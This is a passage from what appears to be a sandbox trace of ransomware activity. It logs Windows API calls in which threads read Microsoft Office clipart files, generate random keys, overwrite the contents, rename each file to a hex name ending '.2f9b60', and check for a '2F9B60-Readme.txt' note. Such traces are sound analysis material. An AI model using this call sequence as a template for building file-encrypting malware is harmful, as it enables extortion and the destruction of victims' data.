Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860090 [0108.415] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.415] WriteFile (in: hFile=0x1594, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b93fb30, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x2b93fb30*=0x10a, lpOverlapped=0x0) returned 1 [0108.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0108.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0108.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860480) returned 1 [0108.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.447] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="ce") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="c6") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="b8") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="cb") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="d9") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="a1") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="dc") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="10") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="0d") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="48") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="af") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ba") returned 2 [0108.447] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="85") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="45") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="e5") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="1f") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="93") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="40") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="6a") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="64") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="fe") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="a1") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="ed") returned 2 [0108.448] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="99") returned 2 [0108.448] RtlInitAnsiString (in: DestinationString=0x2b93fba8, SourceString="cec6b8cbd9a1dc100d48afba8545e51f93406a64fea1ed99" | out: DestinationString="cec6b8cbd9a1dc100d48afba8545e51f93406a64fea1ed99") [0108.448] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b93fb78, SourceString="cec6b8cbd9a1dc100d48afba8545e51f93406a64fea1ed99", AllocateDestinationString=1 | out: DestinationString="cec6b8cbd9a1dc100d48afba8545e51f93406a64fea1ed99") returned 0x0 [0108.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5b00 [0108.448] wcscat (in: _Dest=0x20500130, _Source="cec6b8cbd9a1" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1" [0108.448] wcscat (in: _Dest=0x20500130, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60" [0108.448] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60", NtPathName=0x2b93fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cec6b8cbd9a1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0108.448] NtSetInformationFile (FileHandle=0x1594, IoStatusBlock=0x2b93fbf0, FileInformation=0x20279a30, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267bc0) returned 1 [0110.007] NtQueryInformationFile (in: FileHandle=0x1594, IoStatusBlock=0x2b93fbb8, FileInformation=0x2b93fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b93fbb8, FileInformation=0x2b93fbc8) returned 0x0 [0110.007] NtSetInformationFile (FileHandle=0x1594, IoStatusBlock=0x2b93fbb8, FileInformation=0x2b93fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500130) returned 1 [0110.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5b00) returned 1 [0110.016] FlushFileBuffers (hFile=0x1594) returned 1 [0110.040] CloseHandle (hObject=0x1594) returned 1 [0110.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500950 [0110.041] wcscpy (in: _Dest=0x20500950, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.041] wcscat (in: _Dest=0x20500950, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0110.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b650) returned 1 Thread: id = 688 os_tid = 0x11a4 [0096.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0107.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", dwFileAttributes=0x20) returned 1 [0108.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c4 [0108.294] GetFileSizeEx (in: hFile=0x15c4, lpFileSize=0x2baefc60 | out: lpFileSize=0x2baefc60*=6632) returned 1 [0108.295] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x19e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.295] ReadFile (in: hFile=0x15c4, lpBuffer=0x2baefbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2baefc28, lpOverlapped=0x0 | out: lpBuffer=0x2baefbe0*, lpNumberOfBytesRead=0x2baefc28*=0x4, lpOverlapped=0x0) returned 1 [0108.310] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0108.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.311] NtQuerySystemTime (in: CurrentTime=0x2baefb20 | out: CurrentTime=0x2baefb20*=132462177138094000) returned 0x0 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x42fec377 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x4a3e2b8f [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x270953b5 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x4fc15d84 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x5bc98d [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x6d599453 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x1416cb91 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x516455c0 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x7aecc82f [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x31b13484 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x2b4110a9 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x60cb7d11 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x58f52c4e [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x7e18d427 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x57a982f [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x1d614c75 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x1b24773 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x2d7fcc78 [0108.311] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x56939d85 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x7ed94f69 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x5f08a5e3 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x46de892b [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x264772ba [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x63bc9e55 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x34012dcf [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x3342ff95 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x18178bc8 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x5b5c3dcf [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x478511cd [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x2a475960 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x3d222c29 [0108.312] RtlRandomEx (in: Seed=0x2baefb10 | out: Seed=0x2baefb10) returned 0x5386fe97 [0108.324] ReadFile (in: hFile=0x15c4, lpBuffer=0x41e71d40, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x2baefb10, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesRead=0x2baefb10*=0x19e8, lpOverlapped=0x0) returned 1 [0108.378] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.378] WriteFile (in: hFile=0x15c4, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0x19e8, lpNumberOfBytesWritten=0x2baefb14, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2baefb14*=0x19e8, lpOverlapped=0x0) returned 1 [0108.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0108.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860270) returned 1 [0108.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860270 [0108.410] SetFilePointerEx (in: hFile=0x15c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.410] WriteFile (in: hFile=0x15c4, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2baefc30, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2baefc30*=0x10a, lpOverlapped=0x0) returned 1 [0108.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603c0 [0108.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603c0) returned 1 [0108.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603c0 [0108.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860210 [0108.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860210) returned 1 [0108.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.418] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="b2") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="63") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="bb") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="8c") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="33") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="6d") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="15") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="78") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="5a") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="e0") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="c4") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="2c") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="e7") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="4f") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f3") returned 2 [0108.418] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="48") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="31") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="08") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="d6") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="1e") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="f9") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="10") returned 2 [0108.419] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="b8") returned 2 [0108.419] RtlInitAnsiString (in: DestinationString=0x2baefca8, SourceString="b263bb8c336d15785ae0c42ce74ff30c483108d61ef910b8" | out: DestinationString="b263bb8c336d15785ae0c42ce74ff30c483108d61ef910b8") [0108.419] RtlAnsiStringToUnicodeString (in: DestinationString=0x2baefc78, SourceString="b263bb8c336d15785ae0c42ce74ff30c483108d61ef910b8", AllocateDestinationString=1 | out: DestinationString="b263bb8c336d15785ae0c42ce74ff30c483108d61ef910b8") returned 0x0 [0108.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5fd0 [0108.419] wcscat (in: _Dest=0x20500090, _Source="b263bb8c336d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b263bb8c336d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b263bb8c336d" [0108.419] wcscat (in: _Dest=0x20500090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b263bb8c336d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b263bb8c336d.2f9b60" [0108.419] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b263bb8c336d.2f9b60", NtPathName=0x2baefc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b263bb8c336d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279730 [0108.419] NtSetInformationFile (FileHandle=0x15c4, IoStatusBlock=0x2baefcf0, FileInformation=0x20279730, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279730) returned 1 [0109.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202663b0) returned 1 [0109.879] NtQueryInformationFile (in: FileHandle=0x15c4, IoStatusBlock=0x2baefcb8, FileInformation=0x2baefcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2baefcb8, FileInformation=0x2baefcc8) returned 0x0 [0109.879] NtSetInformationFile (FileHandle=0x15c4, IoStatusBlock=0x2baefcb8, FileInformation=0x2baefcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500090) returned 1 [0109.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5fd0) returned 1 [0109.881] FlushFileBuffers (hFile=0x15c4) returned 1 [0109.886] CloseHandle (hObject=0x15c4) returned 1 [0109.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500bd0 [0109.892] wcscpy (in: _Dest=0x20500bd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.892] wcscat (in: _Dest=0x20500bd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bd0) returned 1 [0109.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b6e0) returned 1 Thread: id = 689 os_tid = 0x11a8 [0096.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0107.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", dwFileAttributes=0x20) returned 1 [0108.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x159c [0108.165] GetFileSizeEx (in: hFile=0x159c, lpFileSize=0x2bc3f820 | out: lpFileSize=0x2bc3f820*=2108) returned 1 [0108.165] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.165] ReadFile (in: hFile=0x159c, lpBuffer=0x2bc3f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bc3f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2bc3f7a0*, lpNumberOfBytesRead=0x2bc3f7e8*=0x4, lpOverlapped=0x0) returned 1 [0108.169] SetFilePointerEx (in: hFile=0x159c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0108.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.170] NtQuerySystemTime (in: CurrentTime=0x2bc3f6e0 | out: CurrentTime=0x2bc3f6e0*=132462177136534000) returned 0x0 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x2e57bb81 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x74ab5b3e [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x5fa593e8 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x4dec97d [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x1ca3e856 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x54ccb524 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x7dcced58 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x42a0f170 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x5b59ec64 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x566d17b6 [0108.170] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x2cd61cc1 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x1f333d63 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x3774849f [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x169069e7 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x389d710 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x3c9a8bc1 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x16766761 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x25d0164d [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x5c6cadad [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x4d039f4d [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x11dd74d1 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x6fbb6fe [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x4bf39557 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x4226cd41 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x30b93716 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x14379f58 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x4a16415c [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x699eec5d [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: Seed=0x2bc3f6d0) returned 0x27974f82 [0108.171] RtlRandomEx (in: Seed=0x2bc3f6d0 | out: 